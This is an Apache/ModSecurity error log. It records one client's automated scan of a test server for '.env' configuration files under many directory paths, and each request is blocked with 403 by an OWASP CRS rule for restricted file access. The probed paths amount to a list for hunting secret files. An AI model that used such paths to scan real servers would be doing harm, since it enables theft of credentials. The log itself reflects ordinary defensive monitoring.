[Mon Jul 28 20:46:04.201816 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_QAAAAM&quot;]
[Mon Jul 28 20:46:04.201981 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_QAAAAM&quot;]
[Mon Jul 28 20:46:04.224551 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_gAAAAM&quot;]
[Mon Jul 28 20:46:04.224745 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_gAAAAM&quot;]
[Mon Jul 28 20:46:04.224940 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_gAAAAM&quot;]
[Mon Jul 28 20:46:04.246733 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_wAAAAM&quot;]
[Mon Jul 28 20:46:04.246925 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_wAAAAM&quot;]
[Mon Jul 28 20:46:04.247095 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1b_wAAAAM&quot;]
[Mon Jul 28 20:46:04.268893 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAAAAAAM&quot;]
[Mon Jul 28 20:46:04.269070 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAAAAAAM&quot;]
[Mon Jul 28 20:46:04.269219 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAAAAAAM&quot;]
[Mon Jul 28 20:46:04.291217 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAQAAAAM&quot;]
[Mon Jul 28 20:46:04.291405 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAQAAAAM&quot;]
[Mon Jul 28 20:46:04.291570 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAQAAAAM&quot;]
[Mon Jul 28 20:46:04.313458 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /archipel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAgAAAAM&quot;]
[Mon Jul 28 20:46:04.313643 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAgAAAAM&quot;]
[Mon Jul 28 20:46:04.313805 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Archipel/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cAgAAAAM&quot;]
[Mon Jul 28 20:46:04.358189 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /asset_img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cBAAAAAM&quot;]
[Mon Jul 28 20:46:04.358382 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cBAAAAAM&quot;]
[Mon Jul 28 20:46:04.358533 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/asset_img/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cBAAAAAM&quot;]
[Mon Jul 28 20:46:04.380636 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cBQAAAAM&quot;]
[Mon Jul 28 20:46:04.380824 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cBQAAAAM&quot;]
[Mon Jul 28 20:46:04.380986 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cBQAAAAM&quot;]
[Mon Jul 28 20:46:04.540240 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDAAAAAM&quot;]
[Mon Jul 28 20:46:04.540432 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDAAAAAM&quot;]
[Mon Jul 28 20:46:04.540586 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment3/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDAAAAAM&quot;]
[Mon Jul 28 20:46:04.562512 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assignment4/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDQAAAAM&quot;]
[Mon Jul 28 20:46:04.562697 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDQAAAAM&quot;]
[Mon Jul 28 20:46:04.562889 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Assignment4/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDQAAAAM&quot;]
[Mon Jul 28 20:46:04.597741 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /audio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDgAAAAM&quot;]
[Mon Jul 28 20:46:04.597943 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDgAAAAM&quot;]
[Mon Jul 28 20:46:04.598105 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/audio/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cDgAAAAM&quot;]
[Mon Jul 28 20:46:04.665531 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /aws/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEQAAAAM&quot;]
